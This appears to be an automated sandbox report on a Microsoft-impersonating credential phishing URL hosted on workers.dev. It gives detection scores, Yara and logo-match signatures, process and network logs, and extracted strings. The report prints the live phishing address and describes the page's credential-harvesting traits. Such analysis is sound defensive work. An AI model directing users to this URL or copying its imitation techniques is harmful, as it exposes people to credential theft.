Edit tour

Windows Analysis Report
https://wmicrosouab-4ba8.udydzj.workers.dev/

Overview

General Information

Sample URL:	https://wmicrosouab-4ba8.udydzj.workers.dev/
Analysis ID:	1430647
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Yara detected HtmlPhish44

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2256,i,9804766802934358695,13672551977537706370,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://wmicrosouab-4ba8.udydzj.workers.dev/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_65	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	Avira URL Cloud: detection malicious, Label: phishing
Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social usering

Phishing

Phishing site detected (based on favicon image match)

Source: https://udydzj.workers.dev	Matcher: Template: microsoft matched with high similarity
Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_65, type: DROPPED

Phishing site detected (based on logo match)

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	Matcher: Template: microsoft matched
Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	Matcher: Template: microsoft matched

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/

HTTP Parser: Number of links: 0

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/

HTTP Parser: <input type="password" .../> found

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	HTTP Parser: No <meta name="author".. found
Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	HTTP Parser: No <meta name="author".. found

Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	HTTP Parser: No <meta name="copyright".. found
Source: https://wmicrosouab-4ba8.udydzj.workers.dev/	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49748 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49755 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49748 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 96.16.68.112
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 20.7.1.246
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: wmicrosouab-4ba8.udydzj.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://wmicrosouab-4ba8.udydzj.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://wmicrosouab-4ba8.udydzj.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://wmicrosouab-4ba8.udydzj.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://wmicrosouab-4ba8.udydzj.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://wmicrosouab-4ba8.udydzj.workers.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://wmicrosouab-4ba8.udydzj.workers.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://wmicrosouab-4ba8.udydzj.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com

Source: unknown

DNS traffic detected: queries for: wmicrosouab-4ba8.udydzj.workers.dev

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900C4F3X-BM-CBT: 1696488253X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581DX-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900C4F3X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 516Connection: Keep-AliveCache-Control: no-cacheCookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; CortanaAppUID=2020E25DAB158E420BA06F1C8DEF7959; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1

Source: chromecache_69.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_59.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_69.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_69.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_69.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_69.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_69.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_62.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_62.2.dr, chromecache_61.2.dr, chromecache_66.2.dr, chromecache_68.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_56.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6o3ms.woff2
Source: chromecache_56.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.wo
Source: chromecache_56.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.wo
Source: chromecache_73.2.dr, chromecache_70.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_69.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_69.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_69.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_69.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_69.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_73.2.dr, chromecache_70.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_73.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_69.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_69.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_69.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_69.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_69.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_69.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_67.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_67.2.dr	String found in binary or memory: https://kit.fontawesome.com
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_69.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_69.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_69.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_69.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.16.68.112:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.7.1.246:443 -> 192.168.2.6:49755 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.win@16/34@20/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2256,i,9804766802934358695,13672551977537706370,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://wmicrosouab-4ba8.udydzj.workers.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
